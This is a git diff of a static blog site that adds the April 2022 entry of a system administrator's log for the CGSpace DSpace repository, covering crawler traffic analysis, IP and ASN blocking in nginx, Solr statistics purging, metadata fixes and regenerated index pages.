                                                                                                                                                              CGSpace Notes

                                                                                                                                                              +

                                                                                                                                                              Documenting day-to-day work on the CGSpace repository.

                                                                                                                                                              +
                                                                                                                                                              +
                                                                                                                                                              + + + + +
                                                                                                                                                              +
                                                                                                                                                              +
                                                                                                                                                              + + + + +
                                                                                                                                                              +
                                                                                                                                                              +

                                                                                                                                                              April, 2022

                                                                                                                                                              + +
                                                                                                                                                              +

                                                                                                                                                              2022-04-01

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday +
                                                                                                                                                                  +
                                                                                                                                                                • The Discovery indexing took this long:
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              real    334m33.625s
                                                                                                                                                              +user    227m51.331s
                                                                                                                                                              +sys     3m43.037s
                                                                                                                                                              +

                                                                                                                                                              2022-04-04

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Start a full harvest on AReS
                                                                                                                                                              • +
                                                                                                                                                              • Help Marianne with submit/approve access on a new collection on CGSpace
                                                                                                                                                              • +
                                                                                                                                                              • Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc)
                                                                                                                                                              • +
                                                                                                                                                              • Looking at the Solr statistics for 2022-03 on CGSpace +
                                                                                                                                                                  +
                                                                                                                                                                • I see 54.229.218.204 on Amazon AWS made 49,000 requests, some of which with this user agent: Apache-HttpClient/4.5.9 (Java/1.8.0_322), and many others with a normal browser agent, so that’s fishy!
                                                                                                                                                                • +
                                                                                                                                                                • The DSpace agent pattern http.?agent seems to have caught the first ones, but I’ll purge the IP ones
                                                                                                                                                                • +
                                                                                                                                                                • I see 40.77.167.80 is Bing or MSN Bot, but using a normal browser user agent, and if I search Solr for dns:*msnbot* AND dns:*.msn.com. I see over 100,000, which is a problem I noticed a few months ago too…
                                                                                                                                                                • +
                                                                                                                                                                • I extracted the MSN Bot IPs from Solr using an IP facet, then used the check-spider-ip-hits.sh script to purge them
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-04-10

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Start a full harvest on AReS
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-04-13

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • UptimeRobot mailed to say that CGSpace was down +
                                                                                                                                                                  +
                                                                                                                                                                • I looked and found the load at 44…
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              • There seem to be a lot of locks from the XMLUI:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c | sort -n
                                                                                                                                                              +   3173 dspaceWeb
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Looking at the top IPs in nginx’s access log one IP in particular stands out:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                                  941 66.249.66.222
                                                                                                                                                              +   1224 95.108.213.28
                                                                                                                                                              +   2074 157.90.209.76
                                                                                                                                                              +   3064 66.249.66.221
                                                                                                                                                              +  95743 185.192.69.15
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • 185.192.69.15 is in the UK
                                                                                                                                                              • +
                                                                                                                                                              • I added a block for that IP in nginx and the load went down…
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-04-16

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Start harvest on AReS
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-04-18

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I woke up to several notices from UptimeRobot that CGSpace had gone down and up in the night (of course I’m on holiday out of the country for Easter) +
                                                                                                                                                                  +
                                                                                                                                                                • I see there are many locks in use from the XMLUI:
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c
                                                                                                                                                              +   8932 dspaceWeb
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Looking at the top IPs making requests it seems they are Yandex, bingbot, and Googlebot:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              # cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | awk '{print $1}' | sort | uniq -c | sort -h
                                                                                                                                                              +    752 69.162.124.231
                                                                                                                                                              +    759 66.249.64.213
                                                                                                                                                              +    864 66.249.66.222
                                                                                                                                                              +    905 2a01:4f8:221:f::2
                                                                                                                                                              +   1013 84.33.2.97
                                                                                                                                                              +   1201 157.55.39.159
                                                                                                                                                              +   1204 157.55.39.144
                                                                                                                                                              +   1209 157.55.39.102
                                                                                                                                                              +   1217 157.55.39.161
                                                                                                                                                              +   1252 207.46.13.177
                                                                                                                                                              +   1274 157.55.39.162
                                                                                                                                                              +   2553 66.249.66.221
                                                                                                                                                              +   2941 95.108.213.28
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • One IP is using a stange user agent though:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              84.33.2.97 - - [18/Apr/2022:00:20:38 +0200] "GET /bitstream/handle/10568/109581/Banana_Blomme%20_2020.pdf.jpg HTTP/1.1" 404 10890 "-" "SomeRandomText"
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Overall, it seems we had 17,000 unique IPs connecting in the last nine hours (currently 9:14AM and log file rolled over at 00:00):
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              # cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq | wc -l
                                                                                                                                                              +17314
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • That’s a lot of unique IPs, and I see some patterns of IPs in China making ten to twenty requests each +
                                                                                                                                                                  +
                                                                                                                                                                • The ISPs I’ve seen so far are ChinaNet and China Unicom
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              • I extracted all the IPs from today and resolved them:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              # cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq > /tmp/2022-04-18-ips.txt
                                                                                                                                                              +$ ./ilri/resolve-addresses-geoip2.py -i /tmp/2022-04-18-ips.txt -o /tmp/2022-04-18-ips.csv
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • The top ASNs by IP are:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ csvcut -c 2 /tmp/2022-04-18-ips.csv | sed 1d | sort | uniq -c | sort -n | tail -n 10 
                                                                                                                                                              +    102 GOOGLE
                                                                                                                                                              +    139 Maxihost LTDA
                                                                                                                                                              +    165 AMAZON-02
                                                                                                                                                              +    393 "China Mobile Communications Group Co., Ltd."
                                                                                                                                                              +    473 AMAZON-AES
                                                                                                                                                              +    616 China Mobile communications corporation
                                                                                                                                                              +    642 M247 Ltd
                                                                                                                                                              +   2336 HostRoyale Technologies Pvt Ltd
                                                                                                                                                              +   4556 Chinanet
                                                                                                                                                              +   5527 CHINA UNICOM China169 Backbone
                                                                                                                                                              +$ csvcut -c 4 /tmp/2022-04-18-ips.csv | sed 1d | sort | uniq -c | sort -n | tail -n 10
                                                                                                                                                              +    139 262287
                                                                                                                                                              +    165 16509
                                                                                                                                                              +    180 204287
                                                                                                                                                              +    393 9808
                                                                                                                                                              +    473 14618
                                                                                                                                                              +    615 56041
                                                                                                                                                              +    642 9009
                                                                                                                                                              +   2156 203020
                                                                                                                                                              +   4556 4134
                                                                                                                                                              +   5527 4837
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I spot checked a few IPs from each of these and they are definitely just making bullshit requests to Discovery and HTML sitemap etc
                                                                                                                                                              • +
                                                                                                                                                              • I will download the IP blocks for each ASN except Google and Amazon and ban them
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ wget https://asn.ipinfo.app/api/text/nginx/AS4837 https://asn.ipinfo.app/api/text/nginx/AS4134 https://asn.ipinfo.app/api/text/nginx/AS203020 https://asn.ipinfo.app/api/text/nginx/AS9009 https://asn.ipinfo.app/api/text/nginx/AS56041 https://asn.ipinfo.app/api/text/nginx/AS9808
                                                                                                                                                              +$ cat AS* | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | sort | uniq | wc -l
                                                                                                                                                              +20296
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I extracted the IPv4 and IPv6 networks:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ cat AS* | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | grep ":" | sort > /tmp/ipv6-networks.txt
                                                                                                                                                              +$ cat AS* | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | grep -v ":" | sort > /tmp/ipv4-networks.txt
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I suspect we need to aggregate these networks since they are so many and nftables doesn’t like it when they overlap:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ wc -l /tmp/ipv4-networks.txt
                                                                                                                                                              +15464 /tmp/ipv4-networks.txt
                                                                                                                                                              +$ aggregate6 /tmp/ipv4-networks.txt | wc -l
                                                                                                                                                              +2781
                                                                                                                                                              +$ wc -l /tmp/ipv6-networks.txt             
                                                                                                                                                              +4833 /tmp/ipv6-networks.txt
                                                                                                                                                              +$ aggregate6 /tmp/ipv6-networks.txt | wc -l
                                                                                                                                                              +338
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I deployed these lists on CGSpace, ran all updates, and rebooted the server +
                                                                                                                                                                  +
                                                                                                                                                                • This list is SURELY too broad because we will block legitimate users in China… but right now how can I discern?
                                                                                                                                                                • +
                                                                                                                                                                • Also, I need to purge the hits from these 14,000 IPs in Solr when I get time
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              • Looking back at the Munin graphs a few hours later I see this was indeed some kind of spike that was out of the ordinary:
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              PostgreSQL connections day +DSpace sessions day

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I used grepcidr with the aggregated network lists to extract IPs matching those networks from the nginx logs for the past day:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              # cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | awk '{print $1}' | sort -u > /tmp/ips.log
                                                                                                                                                              +# while read -r network; do grepcidr $network /tmp/ips.log >> /tmp/ipv4-ips.txt; done < /tmp/ipv4-networks-aggregated.txt
                                                                                                                                                              +# while read -r network; do grepcidr $network /tmp/ips.log >> /tmp/ipv6-ips.txt; done < /tmp/ipv6-networks-aggregated.txt
                                                                                                                                                              +# wc -l /tmp/ipv4-ips.txt  
                                                                                                                                                              +15313 /tmp/ipv4-ips.txt
                                                                                                                                                              +# wc -l /tmp/ipv6-ips.txt 
                                                                                                                                                              +19 /tmp/ipv6-ips.txt
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Then I purged them from Solr using the check-spider-ip-hits.sh:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ ./ilri/check-spider-ip-hits.sh -f /tmp/ipv4-ips.txt -p
                                                                                                                                                              +

                                                                                                                                                              2022-04-23

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • A handful of spider user agents that I identified were merged into COUNTER-Robots so I updated the ILRI override in our DSpace and regenerated the example file that contains most patterns +
                                                                                                                                                                  +
                                                                                                                                                                • I updated CGSpace, then ran all system updates and rebooted the host
                                                                                                                                                                • +
                                                                                                                                                                • I also ran dspace cleanup -v to prune the database
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-04-24

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Start a harvest on AReS
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-04-25

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Looking at the countries on AReS I decided to collect a list to remind Jacquie at WorldFish again about how many incorrect ones they have +
                                                                                                                                                                  +
                                                                                                                                                                • There are about sixty incorrect ones, some of which I can correct via the value mappings on AReS, but most I can’t
                                                                                                                                                                • +
                                                                                                                                                                • I set up value mappings for seventeen countries, then sent another sixty or so to Jacquie and Salem to hopefully delete
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              • I notice we have over 1,000 items with region Africa South of Sahara +
                                                                                                                                                                  +
                                                                                                                                                                • I am surprised to see these because we did a mass migration to Sub-Saharan Africa in 2020-10 when we aligned to UN M.49
                                                                                                                                                                • +
                                                                                                                                                                • Oh! It seems I used a capital O in Of!
                                                                                                                                                                • +
                                                                                                                                                                • This is curious, I see we missed East Asia and Northern America, because those are still in our list, but UN M.49 uses Eastern Asia and Northern America… I will have to raise that with Peter and Abenet later
                                                                                                                                                                • +
                                                                                                                                                                • For now I will just re-run my fixes:
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ cat /tmp/regions.csv
                                                                                                                                                              +cg.coverage.region,correct
                                                                                                                                                              +East Africa,Eastern Africa
                                                                                                                                                              +West Africa,Western Africa
                                                                                                                                                              +Southeast Asia,South-eastern Asia
                                                                                                                                                              +South Asia,Southern Asia
                                                                                                                                                              +Africa South of Sahara,Sub-Saharan Africa
                                                                                                                                                              +North Africa,Northern Africa
                                                                                                                                                              +West Asia,Western Asia
                                                                                                                                                              +$ ./ilri/fix-metadata-values.py -i /tmp/regions.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.region -m 227 -t correct
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Then I started a new harvest on AReS
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-04-27

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I woke up to many up down notices for CGSpace from UptimeRobot +
                                                                                                                                                                  +
                                                                                                                                                                • The server has load 111.0… sigh.
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              • According to Grafana it seems to have started at 4:00 AM
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              Grafana load

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • There are a metric fuck ton of database locks from the XMLUI:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c
                                                                                                                                                              +    128 dspaceApi
                                                                                                                                                              +  16890 dspaceWeb
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • As for the server logs, I don’t see many IPs connecting today:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              # cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq | wc -l
                                                                                                                                                              +2924
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • But there appear to be some IPs making many requests:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              # cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -h
                                                                                                                                                              +...
                                                                                                                                                              +    345 207.46.13.53
                                                                                                                                                              +    646 66.249.66.222
                                                                                                                                                              +    678 54.90.79.112
                                                                                                                                                              +   1529 136.243.148.249
                                                                                                                                                              +   1797 54.175.8.110
                                                                                                                                                              +   2304 174.129.118.171
                                                                                                                                                              +   2523 66.249.66.221
                                                                                                                                                              +   2632 52.73.204.196
                                                                                                                                                              +   2667 54.174.240.122
                                                                                                                                                              +   5206 35.172.193.232
                                                                                                                                                              +   5646 35.153.131.101
                                                                                                                                                              +   6373 3.85.92.145
                                                                                                                                                              +   7383 34.227.10.4
                                                                                                                                                              +   8330 100.24.63.172
                                                                                                                                                              +   8342 34.236.36.176
                                                                                                                                                              +   8369 44.200.190.111
                                                                                                                                                              +   8371 3.238.116.153
                                                                                                                                                              +   8391 18.232.101.158
                                                                                                                                                              +   8631 3.239.81.247
                                                                                                                                                              +   8634 54.82.125.225
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • 54.82.125.225, 3.239.81.247, 18.232.101.158, 3.238.116.153, 44.200.190.111, 34.236.36.176, 100.24.63.172, 3.85.92.145, 35.153.131.101, 35.172.193.232, 54.174.240.122, 52.73.204.196, 174.129.118.171, 54.175.8.110, and 54.90.79.112 are all on Amazon and using this normal-looking user agent:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.3
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • None of these hosts are re-using their DSpace session ID so they are definitely not normal browsers as they are claiming:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ grep 54.82.125.225 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
                                                                                                                                                              +5760
                                                                                                                                                              +$ grep 3.239.81.247 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
                                                                                                                                                              +6053
                                                                                                                                                              +$ grep 18.232.101.158 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
                                                                                                                                                              +5841
                                                                                                                                                              +$ grep 3.238.116.153 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
                                                                                                                                                              +5887
                                                                                                                                                              +$ grep 44.200.190.111 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
                                                                                                                                                              +5899
                                                                                                                                                              +...
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • And we can see a massive spike in sessions in Munin:
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              Grafana load

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I see the following IPs using that user agent today:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              # grep 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -h
                                                                                                                                                              +    678 54.90.79.112
                                                                                                                                                              +   1797 54.175.8.110
                                                                                                                                                              +   2697 174.129.118.171
                                                                                                                                                              +   2765 52.73.204.196
                                                                                                                                                              +   3072 54.174.240.122
                                                                                                                                                              +   5206 35.172.193.232
                                                                                                                                                              +   5646 35.153.131.101
                                                                                                                                                              +   6783 3.85.92.145
                                                                                                                                                              +   7763 34.227.10.4
                                                                                                                                                              +   8738 100.24.63.172
                                                                                                                                                              +   8748 34.236.36.176
                                                                                                                                                              +   8787 3.238.116.153
                                                                                                                                                              +   8794 18.232.101.158
                                                                                                                                                              +   8806 44.200.190.111
                                                                                                                                                              +   9021 54.82.125.225
                                                                                                                                                              +   9027 3.239.81.247
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I added those IPs to the firewall and then purged their hits from Solr:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ ./ilri/check-spider-ip-hits.sh -f /tmp/ips.txt -p
                                                                                                                                                              +Purging 6024 hits from 100.24.63.172 in statistics
                                                                                                                                                              +Purging 1719 hits from 174.129.118.171 in statistics
                                                                                                                                                              +Purging 5972 hits from 18.232.101.158 in statistics
                                                                                                                                                              +Purging 6053 hits from 3.238.116.153 in statistics
                                                                                                                                                              +Purging 6228 hits from 3.239.81.247 in statistics
                                                                                                                                                              +Purging 5305 hits from 34.227.10.4 in statistics
                                                                                                                                                              +Purging 6002 hits from 34.236.36.176 in statistics
                                                                                                                                                              +Purging 3908 hits from 35.153.131.101 in statistics
                                                                                                                                                              +Purging 3692 hits from 35.172.193.232 in statistics
                                                                                                                                                              +Purging 4525 hits from 3.85.92.145 in statistics
                                                                                                                                                              +Purging 6048 hits from 44.200.190.111 in statistics
                                                                                                                                                              +Purging 1942 hits from 52.73.204.196 in statistics
                                                                                                                                                              +Purging 1944 hits from 54.174.240.122 in statistics
                                                                                                                                                              +Purging 1264 hits from 54.175.8.110 in statistics
                                                                                                                                                              +Purging 6117 hits from 54.82.125.225 in statistics
                                                                                                                                                              +Purging 486 hits from 54.90.79.112 in statistics
                                                                                                                                                              +
                                                                                                                                                              +Total number of bot hits purged: 67229
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Then I created a CSV with these IPs and reported them to AbuseIPDB.com:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ cat /tmp/ips.csv
                                                                                                                                                              +IP,Categories,ReportDate,Comment
                                                                                                                                                              +100.24.63.172,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +174.129.118.171,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +18.232.101.158,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +3.238.116.153,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +3.239.81.247,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +34.227.10.4,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +34.236.36.176,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +35.153.131.101,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +35.172.193.232,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +3.85.92.145,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +44.200.190.111,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +52.73.204.196,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +54.174.240.122,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +54.175.8.110,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +54.82.125.225,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +54.90.79.112,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +
                                                                                                                                                              + + + + + + +
                                                                                                                                                              + + + +
                                                                                                                                                              + + + + +
                                                                                                                                                              +
                                                                                                                                                              + + + + + + + + + diff --git a/docs/2022/04/cgspace-load.png b/docs/2022/04/cgspace-load.png new file mode 100644 index 000000000..02851e3d6 Binary files /dev/null and b/docs/2022/04/cgspace-load.png differ diff --git a/docs/2022/04/jmx_dspace_sessions-day2.png b/docs/2022/04/jmx_dspace_sessions-day2.png new file mode 100644 index 000000000..8f77487a1 Binary files /dev/null and b/docs/2022/04/jmx_dspace_sessions-day2.png differ diff --git a/docs/404.html b/docs/404.html index 5ab1043b6..5c30c95f4 100644 --- a/docs/404.html +++ b/docs/404.html @@ -17,7 +17,7 @@ - + @@ -95,9 +95,9 @@
                                                                                                                                                                -
                                                                                                                                                              1. March, 2022
                                                                                                                                                              2. +
                                                                                                                                                              3. April, 2022
                                                                                                                                                              4. -
                                                                                                                                                              5. April, 2022
                                                                                                                                                              6. +
                                                                                                                                                              7. March, 2022
                                                                                                                                                              8. February, 2022
                                                                                                                                                              9. diff --git a/docs/categories/index.html b/docs/categories/index.html index 090338fa5..f04283e90 100644 --- a/docs/categories/index.html +++ b/docs/categories/index.html @@ -10,14 +10,14 @@ - + - + @@ -84,7 +84,7 @@

                                                                                                                                                                Notes

                                                                                                                                                                - +
                                                                                                                                                                Read more → @@ -108,9 +108,9 @@
                                                                                                                                                                  -
                                                                                                                                                                1. March, 2022
                                                                                                                                                                2. +
                                                                                                                                                                3. April, 2022
                                                                                                                                                                4. -
                                                                                                                                                                5. April, 2022
                                                                                                                                                                6. +
                                                                                                                                                                7. March, 2022
                                                                                                                                                                8. February, 2022
                                                                                                                                                                9. diff --git a/docs/categories/index.xml b/docs/categories/index.xml index 367911ffb..a62cb3e0b 100644 --- a/docs/categories/index.xml +++ b/docs/categories/index.xml @@ -6,11 +6,11 @@ Recent content in Categories on CGSpace Notes Hugo -- gohugo.io en-us - Tue, 01 Mar 2022 16:46:54 +0300 + Fri, 01 Apr 2022 10:53:39 +0300 Notes https://alanorth.github.io/cgspace-notes/categories/notes/ - Tue, 01 Mar 2022 16:46:54 +0300 + Fri, 01 Apr 2022 10:53:39 +0300 https://alanorth.github.io/cgspace-notes/categories/notes/ diff --git a/docs/categories/notes/index.html b/docs/categories/notes/index.html index 70b6de763..317f29fc9 100644 --- a/docs/categories/notes/index.html +++ b/docs/categories/notes/index.html @@ -10,14 +10,14 @@ - + - + @@ -81,6 +81,24 @@ +
                                                                                                                                                                  +
                                                                                                                                                                  +

                                                                                                                                                                  April, 2022

                                                                                                                                                                  + +
                                                                                                                                                                  + 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + Read more → +
                                                                                                                                                                  + + + + + +

                                                                                                                                                                  March, 2022

                                                                                                                                                                  @@ -107,24 +125,6 @@ -
                                                                                                                                                                  -
                                                                                                                                                                  -

                                                                                                                                                                  April, 2022

                                                                                                                                                                  - -
                                                                                                                                                                  - 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. - Read more → -
                                                                                                                                                                  - - - - - -

                                                                                                                                                                  February, 2022

                                                                                                                                                                  @@ -365,9 +365,9 @@
                                                                                                                                                                    -
                                                                                                                                                                  1. March, 2022
                                                                                                                                                                  2. +
                                                                                                                                                                  3. April, 2022
                                                                                                                                                                  4. -
                                                                                                                                                                  5. April, 2022
                                                                                                                                                                  6. +
                                                                                                                                                                  7. March, 2022
                                                                                                                                                                  8. February, 2022
                                                                                                                                                                  9. diff --git a/docs/categories/notes/index.xml b/docs/categories/notes/index.xml index 4d960654b..3fc75bf7d 100644 --- a/docs/categories/notes/index.xml +++ b/docs/categories/notes/index.xml @@ -6,7 +6,16 @@ Recent content in Notes on CGSpace Notes Hugo -- gohugo.io en-us - Tue, 01 Mar 2022 16:46:54 +0300 + Fri, 01 Apr 2022 10:53:39 +0300 + + April, 2022 + https://alanorth.github.io/cgspace-notes/2022-04/ + Fri, 01 Apr 2022 10:53:39 +0300 + + https://alanorth.github.io/cgspace-notes/2022-04/ + 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia&rsquo;s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + + March, 2022 https://alanorth.github.io/cgspace-notes/2022-03/ @@ -24,15 +33,6 @@ </span></span></code></pre></div> - - April, 2022 - https://alanorth.github.io/cgspace-notes/2022-03/ - Tue, 01 Mar 2022 10:53:39 +0300 - - https://alanorth.github.io/cgspace-notes/2022-03/ - 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia&rsquo;s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. - - February, 2022 https://alanorth.github.io/cgspace-notes/2022-02/ diff --git a/docs/categories/notes/page/2/index.html b/docs/categories/notes/page/2/index.html index 60f5b3b20..a11251ad6 100644 --- a/docs/categories/notes/page/2/index.html +++ b/docs/categories/notes/page/2/index.html @@ -10,14 +10,14 @@ - + - + @@ -381,9 +381,9 @@
                                                                                                                                                                      -
                                                                                                                                                                    1. March, 2022
                                                                                                                                                                    2. +
                                                                                                                                                                    3. April, 2022
                                                                                                                                                                    4. -
                                                                                                                                                                    5. April, 2022
